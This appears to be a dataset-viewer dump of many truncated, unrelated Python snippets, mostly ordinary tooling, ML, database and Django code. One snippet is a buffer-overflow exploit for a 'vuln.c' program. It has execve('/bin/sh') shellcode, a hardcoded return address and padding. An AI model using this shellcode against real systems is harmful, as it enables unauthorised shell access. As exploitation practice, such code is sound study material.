text stringlengths 8 6.05M |
|---|
# Copyright 2022 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import os
def debugadapter_port_for_testing() -> int:
"""Return a unique-per-concurrent-process debug adapter port.
Use this in Pants's (and plugins') own tests to avoid collisi... |
import tensorflow as tf
import numpy as np
import Config
class CNN(object):
"""
A CNN for text classification.
Uses an embedding layer, followed by a convolutional, max-pooling and softmax layer.
"""
def __init__(
self, sequence_length, num_classes, vocab_size,
embedding_size, filter_s... |
import pymysql
import time
import os
import db_utils as dbutils
con = pymysql.connect(
host='127.0.0.1',
user='dbuser',
password='dbuserdbuser',
db='general-cia-test',
charset='utf8mb4',
cursorclass=pymysql.cursors.DictCursor
)
def insert_docs():
tone = time.time()
# for docno in ran... |
import pandas as pd
import numpy as np
from unidecode import unidecode
# <ADD ABBR TEAM NAMES>
column_names = ['team_name', 'opp_name', 'team_score', 'opp_score', 'team_roster', 'opp_roster', 'team_hrefs', 'opp_hrefs']
df_lineups = pd.read_csv('all-game-lineups.csv', comment='#', names=column_names)
df_team_names = ... |
#!/usr/bin/env python
import re
import wave
import os
from datetime import datetime
class WavFile:
"""
Provides convenience methods for `wave` operations.
"""
def __init__(self, location):
"""Ensure wav filname is parsable and set class properties"""
matches = re.match(r'.+?([NF])(\d... |
A = int(input())
B = int(input())
C = int(input())
ca = A*B*C
Ca = str(ca)[::-1]
D = {'0':0, '1':0, '2':0, '3':0, '4':0, '5':0, '6':0, '7':0, '8':0, '9':0}
for i in Ca:
D[i] += 1
for j in D.keys():
print(D[j])
# Done |
"""
Goal:
* Get empty MRs.
* Empty means
- MR cannotbe merged.
- Mr has merge conflicts (accoring to the API result).
"""
import requests
import os
import sys
import logging
logging.basicConfig()
logger = logging.getLogger("EMPTY_MRS")
logger.setLevel(logging.INFO)
PROJECT_ID = os.environ.get("GITLAB_PR... |
from utils.utils import *
from utils.visualize import * |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Aug 6 16:38:35 2018
@author: ppxee
"""
### Import Modules Required ###
from astropy.coordinates import match_coordinates_sky
from astropy.coordinates import SkyCoord
from astropy import units as u
from astropy.table import Table
from astropy.io import... |
# Copyright 2023 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
"""Lightweight static analysis for many languages. Find bug variants with patterns that look like
source code.
See https://semgrep.dev/ for details.
"""
from __future__ import annotation... |
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
def creatTree(nodeList):
if nodeList[0] == None:
return None
head = TreeNode(nodeList[0])
Nodes = [head]
j = 1
for node in Nodes:
if node... |
# http testing
import sys
from urllib.request import Request, urlopen
from datetime import datetime
try:
url = 'http://192.168.1.11:8080/mysite3/gb/ajax'
request = Request(url)
response = urlopen(request)
response_body = response.read().decode('utf-8')
print(response_body)
except Exception as e:
... |
friends = input().split(", ")
while True:
command = input()
if command == "Report":
break
command = command.split()
if command[0] == "Blacklist":
name = command[1]
if name in friends:
index = friends.index(name)
friends[index] = "Blacklisted"
... |
class Solution:
def prefixCount(self, words: List[str], pref: str) -> int:
res = 0
for item in words:
if len(item) < len(pref):
continue
if item[:len(pref)] == pref:
res += 1
return res |
import logging
import fmcapi
def test__ip_addresses(fmc):
logging.info("Test IPAddresses. This only returns a full list of IP object types.")
obj1 = fmcapi.NetworkAddresses(fmc=fmc)
logging.info("IPAddresses -->")
result = obj1.get()
logging.info(result)
logging.info("Test IPAddresses done.... |
import os
import unittest
import sys
import cv2
import numpy
sys.path.insert(0, '..')
from detect import fetch_read_m3u8, extract_frame_from_video_url
class ResponseTestCase(unittest.TestCase):
def test_fetch_read_m3u8(self):
mock_link = "https://cdn-004.whatsupcams.com/hls/hr_novska01.m3u8"
mock_pr... |
from django.contrib import admin
# Register your models here.
from snippets.models import CourseUsers
@admin.register(CourseUsers)
class CourseUsersAdmin(admin.ModelAdmin):
list_display = ('id', 'course', 'owner')
|
import urlib.request, urlib.parse,urllib.error
import curl
import json
api_url='https://api.autopi.io'
|
'''
zhuliwen: liwenzhu@pku.edu.cn
October 24,2019
ref: https://blog.csdn.net/jacke121/article/details/85422244
https://github.com/kvfrans/feature-visualization
'''
import cv2
import numpy as np
import torch
from torch.autograd import Variable
from AI_homework_1 import ResNet, BasicBlock
import os
import matplotli... |
# -*- coding: utf-8 -*-
"""
Created on Tue Aug 17 16:34:14 2021
@author: kkondrakiewicz
"""
#%% Imports
import sys
# Add directory with ephys module
sys.path.append(r'C:\Users\kkondrakiewicz\Documents\Python Scripts\EphysAnalysis')
import ephys as ep
import numpy as np
import matplotlib.pyplot as plt
#%% Set paramete... |
import queue
import tkinter as tk
import webbrowser
from subprocess import Popen
from thread import ThreadedTask
from tkinter import messagebox
from tkinter.colorchooser import *
from tkinter.filedialog import askopenfilename, asksaveasfile
from tkinter.ttk import *
import matplotlib.pyplot as plt
import pandas as pd
... |
from django.conf import settings
from confapp import conf
from pyforms.basewidget import segment
from pyforms.controls import ControlCheckBox
from pyforms_web.web.middleware import PyFormsMiddleware
from pyforms_web.widgets.django import ModelAdminWidget
from finance.models import CostCenter
from .financeproject_lis... |
from django import forms
from .models import Post, Comment
# class PostForm(forms.ModelForm):
#
# class Meta:
# model = Post
# fields = ('title', 'author', 'description', 'category')
# widgets = {
# 'todo': forms.TextInput(
# attrs={
# 'id':... |
# Adapted from https://github.com/openai/baselines/blob/master/baselines/common/mpi_adam.py
import rlkit.torch.optim.util as U
import torch
from torch.optim.optimizer import Optimizer
import math
import numpy as np
import rlkit.torch.pytorch_util as ptu
from rlkit.core.serializable import Serializable
try:
from mp... |
from collections import OrderedDict
import re, os
import Config
class subgroup(object):
def __init__(self, colorName, word_list):
self.colorName = colorName
self.word_list = word_list
def add_words(self, word_list):
for word in word_list:
self.word_list.append(word)
de... |
# first-program
#HHHIIIIIIIII#@^%$#@%@#
print("hello world");
#hiii
#blah
|
import mraa
import time
#mraa.gpio60 = P9_14 = GPIO_50
#mraa.gpio62 = P9_16 = GPIO_51
gpio_1 = mraa.Gpio(60)
gpio_2 = mraa.Gpio(62)
# set gpio 60 and gpio 62 to output
gpio_1.dir(mraa.DIR_OUT)
gpio_2.dir(mraa.DIR_OUT)
# toggle both gpio's
while True:
gpio_1.write(1)
gpio_2.write(0)
time.sleep(1)
gpio_1.... |
def minVertex(S, C):
min = -1
for i in range(0,len(S)):
if S[i]==0 and (min == -1 or C[i]<C[min]):
min = i
return min
def prim(G):
#Graph G to be defined as an adjacency matrix
C = list()
S = list()
P = list()
for i in range(0, len(G)):
C.append(-1)
S.append(0)
P.append(-1)
S[0] = 1
for v ... |
from django.contrib import admin
# Register your models here.
from .models import *
admin.site.register(Camp)
admin.site.register(User)
admin.site.register(Group)
admin.site.register(Bot)
admin.site.register(Message)
admin.site.register(Favorite)
admin.site.register(Access_Token) |
#!/usr/bin/env python
import struct
import subprocess
# vuln.c buf addr
ret_addr = 0x7fffffffe1b0
ret_addr = 0x7fffffffe0a0
# execve(/bin/sh)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf = shellcode
buf += "A" * (256 + 8 - len(shellcod... |
# -*- coding: utf-8 -*-
from odoo import models, fields, api, _
from odoo.exceptions import ValidationError
class employee_loan_type(models.Model):
_name = 'employee.loan.type'
_description = 'employee_loan_type'
name = fields.Char('Nombre', required="1")
loan_limit = fields.Float('Límite del monto ... |
import unittest
from katas.kyu_7.unique_pairs import projectPartners
class UniquePairsTestCase(unittest.TestCase):
def test_equals(self):
self.assertEqual(projectPartners(2), 1)
def test_equals_2(self):
self.assertEqual(projectPartners(3), 3)
def test_equals_3(self):
self.assert... |
# -*- coding:utf-8 -*-
# Author: Jorden Hai
count = 0.4
sum = 0
for i in range(1,31):
sum = sum + count
count = count *2
print(sum)
|
"""
Problem 3: I like to move it, move it
"""
import numpy as np
#load number of trucks for locations on corridors
arr = np.load("arrays.npy")
trucks_per_location = arr.tolist()
#ENVIRONMENTAL COMPUTATIONS
#define social cost per mile for each diesel truck - from environmental computations
cost_per_mile = 0.27
#def... |
"""Startup Sequence
Runs a wave sequence of lights from left to right letting us know that the
system is ready.
Author:
Yvan Satyawan <y_satyawan@hotmail.com>
Created on:
May 12, 2021
"""
import board
import neopixel
from math import sin, pi, floor
from time import sleep, time
SLEEP_DURATION = 1
PIXEL_PIN =... |
import tornado.web
from tornado.web import RequestHandler
# class IndexHandler(RequestHandler):
# def get(self, *args, **kwargs):
# self.write("sunck is a good man")
class StaticFileHandler(tornado.web.StaticFileHandler):
def __init__(self, *args, **kwargs):
super(StaticFileHandler, sel... |
import numpy as np
from matplotlib import pyplot as plt
import pandas as pd
from ggplot import *
from sklearn.metrics import *
class Eval():
def __init__(self, y, pred, labels):
self.y = y
self.y01 = []
self.pred = pred
self.pred01 = []
self.labels = labels
self.fp ... |
#!/usr/bin/env python3
from PIL.ExifTags import TAGS
from PIL import Image
import sys
img = #"1609060501529.png"
try:
exifData = {}
file = Image.open(img)
info = file._getexif()
print(info)
if info:
for (tag, value) in info.items():
decoded = TAGS.get(tag, tag)
exif... |
import pytest
def test_idk():
assert False
def test_also_a_test():
assert 1 == 2//2
# classes with constructors cant be used as test containers
class TestWithConstructor(object):
def __init__(self):
pass
def test_wont_work(self):
assert False
class TestClassExample(object):
... |
# The water-tank example coded in Python
# TODO: Still need to write the parser
import macropy.activate
from language import *
from gen import *
from sympy import *
import shac
# This is the Raskin model of the thermostat example
# K = 0.075 heating rate in t4, h = 150.
ode1 = Ode(sympify("diff(x(t))+x(t)-10"), S("... |
import pymysql
db=pymysql.connect('localhost','root','123456')
cur=db.cursor()
cur.execute("create database python;")
cur.execute("use python")
cur.execute("create table t1(id int,name char(20),age tinyint unsigned,sex enum('boy','girl'));")
cur.execute("insert into t1 values(1,'zhangsanfeng',30,'boy'),(2,'wuji.zhang',... |
# Import socket module
import socket
def Main():
host = socket.gethostname() # localmachine ip
# Define the port on which you want to connect
port = 12345
s = socket.socket()
# connect to server on local computer
s.connect((host,port))
... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from telegram.ext import Updater, MessageHandler, Filters
from telegram_util import splitCommand, log_on_fail, autoDestroy, formatChat, matchKey
from db import Source, Subscription
import loop
from common import tele, debug_group
from iterateMessage import iterateMessage... |
from django.contrib import admin
from .models import Report, DLL, UsesDLL
class ReportAdmin(admin.ModelAdmin):
list_display = ('link', 'md5', 'file_type', 'date')
search_fields = ['link', 'md5']
class DLLAdmin(admin.ModelAdmin):
list_display = ('name',)
class UsesDLLAdmin(admin.ModelAdmin):
list_d... |
from bs4 import BeautifulSoup
import requests
import random
import re
def Status():
r = requests.get("http://limitlessmc.net/")
soup = BeautifulSoup(r.text, "html.parser")
val = soup.select("#serverstatus")
return val[0].text
def wotd():
packet = {}
r = requests.get("https://www.merriam-webster.com/word-of-the-... |
import sys
import os
import subprocess
sys.path.insert(0, 'scripts')
sys.path.insert(0, 'scripts/generax')
import experiments as exp
import launch_alegenerax
import fam
def run(datadir, gene_trees, subst_model, transfer_constraint, cores, additional_arguments):
strategy = "SPR"
species_tree = "true"
base = "aleg... |
from django.contrib.auth import get_user_model
from django.db import models
# Create your models here.
from django.db.models import CheckConstraint
User = get_user_model()
class Category(models.Model):
title = models.CharField(max_length=50, unique=True)
slug = models.SlugField(max_length=50, primary_key=Tr... |
from numba import jit
import numpy as np
'''
this module implements functions for measuring feature vector similarity
between graph verticies. loop-based functions are just-in-time compiled with
numba, which results in fast code with limited memory overhead.
Note: all distances are stored at 64-bit floating point nu... |
from .unet import UNet, UNetWithClassificationHead
from .fpn import FPN
|
from django.apps import AppConfig
class CaninoConfig(AppConfig):
name = 'canino'
|
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from pants.backend.java.lint.google_java_format import rules as fmt_rules
from pants.backend.java.lint.google_java_format import skip_field
from pants.jvm import jdk_rules, util_rules
from... |
from setuptools import setup
setup(name='kazikame',
version='0.1',
description='You have got bombs, So plant them and destroy!! ',
url='https://github.com/theBansal/project-delta',
author='Ironhulk',
author_email='ironhulk4@gmail.com',
license='NIT',
packages=['Kazikame'],
... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2019-05-22 12:04
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('edu', '0010_auto_20190521_1138'),
]
operations = [
migrations.AlterField(
... |
import pandas as pd
import matplotlib.pyplot as plt
airquality_df=pd.read_csv('E:\csvdhf5xlsxurlallfiles/airquality.csv')
print(airquality_df.head())
month=airquality_df['Month']
temperature=airquality_df['Temp']
#using axes()
plt.axes([0.05,0.05,0.425,0.9])
plt.plot(airquality_df, month, 'r')
plt.axes([0.05... |
# -*- coding:utf-8 _*-
"""
@author:Administrator
@file: main.py
@time: 2019/1/9
"""
from scrapy.cmdline import execute
# execute('scrapy crawl realtor -s JOBDIR=crawls/trulia_state_county_zip-1'.split(' '))
execute('scrapy crawl realtor'.split(' '))
|
# -*- coding: utf-8 -*-
# @Author : WangNing
# @Email : 3190193395@qq.com
# @File : static_variables.py
# @Software: PyCharm
import os
# 工程目录
PROJECT_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# 数据库配置文件
DB_CONFIG = PROJECT_PATH + "/config/db_config.ini"
# 测试脚本存放位置
SCRIPT_PATH = PROJECT_P... |
#!/usr/bin/env python
"""
Name: Rafael Broseghini
Implementation of a 'Soccer Tournament' using data
from the LCMS website stored in a text file.
"""
import random
from team import Team
from tournament import Tournament
from roster import Roster
from player import Player
class Facility:
def __in... |
"""
This module extra functions/shortcuts to communicate with the system
(executing commands, etc.)
"""
import inspect
import os
import pwd
import re
import subprocess
from django.conf import settings
from django.utils.encoding import force_str
def exec_cmd(cmd, sudo_user=None, pinput=None, capture_output=True, **k... |
#encoding: utf-8
def permutaciones(lista):
if len(lista) == 0:
return [[]]
return sum([inserta_multiple(lista[0], s) for s in permutaciones(lista[1:])],[])
def permutaciones_tr(lista,res):
#print 'permutaciones_tr(',lista,res,')'
if len(lista) == 0:
return res
if len(res) == 0 :
r = [lista[0]]
else:
... |
from kivy.app import App
from kivy.properties import ObjectProperty, StringProperty
from kivy.uix.widget import Widget
from kivy.core.window import Window
from gui.Header import Header
class State:
pass
class MainWidget(Widget):
base_w = 640
base_h = 480
state = StringProperty("Home")
header = ... |
from django.db import models
from django.db.models import *
# Create your models here.
class stock(models.Model):
stock_id = CharField(max_length=6,verbose_name='股票代码',unique=True)
stock_name = CharField(max_length=32, verbose_name='股票简称')
stock_price = DecimalField(max_digits=10,decimal_places=2,verb... |
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
matplotlib.rcParams['pdf.fonttype'] = 42
matplotlib.rcParams['ps.fonttype'] = 42
import math
import random
import gc
import platform
np.random.seed(123)
sysstr = platform.system()
print(sysstr)
if sysstr == 'Windows':
import queue as Queue
elif sy... |
#!/usr/bin/python3
import urllib.request
import urllib.parse
#x = urllib.request.urlopen("http://www.baidu.com")
#print(x.read())
'''
#get method
url="http://music.baidu.com/search"
values={"key":"Ed Sheeran"}
data = urllib.parse.urlencode(values)
data = data.encode('utf-8')
req = urllib.request.Request(url,da... |
class rooms(object):
def __init__(self, layout, doorlist, chestlist, isloaded, yborder, xborder, comoprinter):
self.layout = layout
self.doorlist = doorlist
self.chestlist = chestlist
self.loaded = isloaded
self.yborder = yborder
self.xborder = xborder
self.comoprin... |
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import annotations
import dataclasses
import logging
import os.path
import tokenize
from collections import defaultdict
from dataclasses import dataclass
from enum import ... |
import numpy as np
from keras.callbacks import Callback
from keras.optimizers import SGD
from sklearn.neural_network import MLPClassifier
from keras.models import Sequential
from keras.layers import Dense
from .BaseModel import BaseModel
from ..utils import YpredCallback
class NN_LinearLinear_Sklearn(BaseModel):
... |
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 30 16:08:57 2018
@author: aadha
"""
import pandas as pd
import os
import numpy as np
from sklearn.model_selection import StratifiedKFold
from sklearn.decomposition import PCA
from sklearn.preprocessing import StandardScaler
from sklearn.metrics import accuracy_score
f... |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'Inventory.purchased_date'
db.delete_column(u'inventory_... |
#!/usr/bin/env python
###############################################################################
#
# Copyright (c) 2016-2017 EnterpriseDB - All rights reserved.
# Author: Raghavedra Rao
#
# This module validates all the CLI option processed in cli_options module
# and does the sanity check of the values to pass on... |
import json
import networkx as nx
from networkx.readwrite import json_graph
import pandas as pd
from jsm.jsm_analysis import test2
_CODE_TMPL = '*GRAPH_TMPL*'
_BR_TMPL = 'br'
def generate_graph(hypothesis, path, name_reas):
# DEFAULT _draw_edges_1()
G = nx.Graph()
scale = 2 # space ne... |
#!/usr/bin/env python
# coding: utf-8
# # Advent of Code 2020
#
# This solution (Jupyter notebook; python 3.7) by kannix68, @ 2020-12. \
# Using anaconda distro, conda v4.9.2. installation on MacOS v10.14.6 "Mojave".
# ## Generic AoC code
# In[ ]:
import sys
import logging
import itertools
#from operator import ... |
from fastapi import FastAPI, File, UploadFile, APIRouter, HTTPException
import logging
import joblib
from tensorflow.keras.models import load_model
import librosa
from app.dtos.data_model import Prediction
from app.services.feature_extraction import extract_audio_file_features
import os
import tempfile
router = A... |
# @Time :2019/7/6 7:51
# @Author :jinbiao
# 一、必做题
# 1.什么是异常?为什么要捕获异常?
# 异常就是程序在运行时发生的错误
# 可以在程序抛出异常后不终止程序,增加程序的容错性
# 2.异常的完整语法格式
try:
pass # 可能出现异常的代码块,异常在此抛出
except: # 捕获异常,可指定异常类型
pass # 成功捕获后执行的代码块
# 3.在异常中,try关键字下的块语句、except下的块语句、else下的块语句、finally下的块语句执行逻辑是什么?
try:
pass # 如果出现错误,将会抛出异常
e... |
import pygame
from collections import deque
BACKGROUND_COLOR = "#00c000"
GOD = deque([pygame.K_g, pygame.K_o, pygame.K_d])
BOM = deque([pygame.K_b, pygame.K_o, pygame.K_m])
FLY = deque([pygame.K_f, pygame.K_l, pygame.K_y])
|
import boto3
import logging
from mmvizutil.compression.utils import make_stream
from mmvizutil.decorators import _retry
log_fmt = '[%(asctime)s - %(levelname)s] - %(name)s - %(message)s'
logging.basicConfig(level=logging.INFO, format=log_fmt)
logger = logging.getLogger('mmvizutil-aws')
def _resource():
return bo... |
import tensorflow as tf
filename_queue = tf.train.string_input_producer(["../../DataSets/training_label.csv"])
print(filename_queue)
reader = tf.TextLineReader()
value = reader.read(filename_queue)
print(value)
# Default values, in case of empty columns. Also specifies the type of the
# decoded result.
record_defau... |
# -*-coding:utf-8 -*-
__author__ = '$'
import sys
sys.path.append('..')
import tensorflow as tf
import numpy as np
import re
import os
import time
import datetime
import lstm_model
from lstm_model import LSTM_Attention
import csv
import jisuan
import data_helpers
# Parameters
# =======================================... |
from flask.ext.api import FlaskAPI
import couchdb
server = couchdb.Server()
update = False
try:
db = server['peleton-db']
except:
db = server.create('peleton-db')
update = True
if update:
db.update([{"_id": "A", "list": [2, 3, 8], "idx": 0}, {"_id": "B", "list": [4, 5, 6], "idx": 0}])
db.update(... |
import os
f = open("../Rakuten-real-/userID150-165.csv")
a = []
for i in f:
a.append(i[:-1])
for k in range(16):
g = open("../rakutendb/150-165/"+str(a[k])+".csv")
print "user_number:"+str(k)
print a[k]
count = 0
for line in g:
p = line.split(",")
if p[0].find("http") > -1:
... |
"""MIPT Python Course Lections 22"""
print('Граф')
M, N = [int(x) for x in input().split()]
V = []
index = {}
A = [[0] * N for i in range(N)]
for i in range(N):
v1, v2 = input().split()
for v in v1, v2:
if v not in index:
V.append(v)
index[v] = len(V) - 1
v1_i = index[v1]... |
#!/usr/bin/env python
# coding=utf-8
from feedformatter import Feed
import datetime
import time
try:
import urllib2
PY2 = True
except ImportError:
import requests
PY2 = False
def findSection(text, start, end, includeStart = False, includeEnd = False):
startIndex = text.find(start)
if not inclu... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
__license__ = ''
__version__ = '1.0.1'
from sanic.log import logger
from sanic.request import Request
from .specification.get_account_type_specification import (
get_account_type_list_query, get_account_type_list_count_query, get_account_type_list_dropdown_query
)
... |
#Exemplo de if(se) encadeados
#Existe abreviação do else com if elif que permite adicionar mais uma condição
idade = 14
if(idade >= 18) :
print("Já pode tirar CNH!")
elif (idade >= 16):
print("Já pode VOTAR!")
elif (idade >= 15) :
print("Já debutou!")
else:
print("Você tem menos que 15 anos"... |
#!/usr/bin/env python
"""
CTestTestfile.py
==================
This enables ctest running of installed tests,
without the full build tree.
CTestTestfile.cmake files which list unit tests are copied
from the build tree into a newly created tree with only these files.
A top level CTestTestfile.cmake composed of top le... |
# -*- coding: utf-8 -*-
import cloud
import collections
import datetime
from request import Request
REQUEST_QUEUE_PREFIX = 'picrawler_request_'
RESULT_QUEUE_PREFIX = 'picrawler_result_'
class InvalidRequest(Exception):
pass
class PiCloudConnection(object):
"""Class that represents a connection to PiCloud... |
PACKAGE_NAME = "patchworkdocker"
VERSION = "0.0.0"
DESCRIPTION = "TODO"
EXECUTABLE_NAME = "patchworkdocker"
|
from collections import defaultdict
from color.lab import LabMatrix
def luminance_histogram_from_matrix(matrix):
histogram = defaultdict(int)
for x, y in matrix:
l = matrix.l[x][y]
histogram[l] += 1
return histogram
def equalize(image):
matrix = LabMatrix.from_image(image)
histo... |
import string
def spin_words(sentence):
words = sentence.split(' ');
for i,word in enumerate( words ):
if len( word ) >= 5:
words[i] = word[::-1]
return string.join(words, ' ');
|
#Project Euler
a = ""
b = ""
mul = 0
flag = 0
ans = 0
for i in range(999, 100, -1):
for j in range(999, 100, -1):
mul = i * j
a = str(mul)
b = "".join(reversed(a))
if a == b:
ans = max(ans, mul)
print(ans)
|
from django.contrib import admin
# Register your models here.
from .models import *
admin.site.register(Language)
admin.site.register(Tag)
admin.site.register(Snippet)
admin.site.register(Comment) |
from sqlite3 import *
class manageSqlite:
file = "connections.db"
conn = connect(file)
conn.row_factory=Row
cursor = conn.cursor()
def __init__(self):
self.cursor.execute(
'CREATE TABLE IF NOT EXISTS connections (name VARCHAR(20), host VARCHAR(20), port VARCHAR(10), user VARCH... |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import dateutil.parser
from ruletypes import RuleType
from util import pretty_ts
from util import ts_to_dt
from util import dt_to_ts
class StatRule(RuleType):
'''support
stat function in (sum, )
stat_type in (greater, less, equal)
'''
required_op... |
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 4 17:05:40 2019
@author: giuseppec
"""
import pandas as pd
import os
directory='C:/Users/giuseppec/Desktop/PYTHONTopicModelling/topics'
df=[]
i=0
for f in os.listdir(directory):
with open(os.path.join(directory, f), mode='r') as file:
#print(file.name)
... |
import android
droid = android.Android()
myconst = droid.getConstants("android.content.Intent").result
action = myconst['ACTION_VIEW']
uri = "content://android.provider.Contacts.People.CONTENT_URI"
itype = "vnd.android.cursor.dir/calls"
intent = droid.makeIntent(action, uri, itype).result
droid.startActivityIntent(int... |
from pydantic import BaseModel
class Todo(BaseModel):
title:str
description:str |
# array
import array
class BinaryTree:
def __init__(self, arr):
self.array = array.array('l', arr)
def preorder(self):
s = ''
def recursive(idx):
nonlocal s
if idx >= len(self.array):
return
s += str(self.array[idx]) + ' ... |
# from .models import model1
# from django import forms
# class form1(forms.ModelForm):
# class Meta:
# model = model1
# exclude=() |
# A number that never forms a palindrome through the reverse and add process
# is called a Lychrel number.
# For every number below ten-thousand, it will either
# (i) become a palindrome in less than fifty iterations, or,
# (ii) no one, with all the computing power that exists, has managed so
# far to m... |
from .client import Client
class Tokens(Client):
def __init__(self, tokenname='TheDAO', api_key='YourApiKeyToken'):
Client.__init__(self, address='', api_key=api_key)
self.tokenname = '&tokenname=' + tokenname
def make_url(self, call_type=''):
if call_type == 'tokensupply':
... |
"""Module deletes old files"""
import atexit
import os
import time
from apscheduler.schedulers.background import BackgroundScheduler
PATH_TO_EXPORT_FILES = os.environ.get('PATH_TO_EXPORT_FILES')
def delete_files():
"""Deletes files that were created more than 15 minutes ago"""
files = os.listdir(PATH_TO_EXP... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.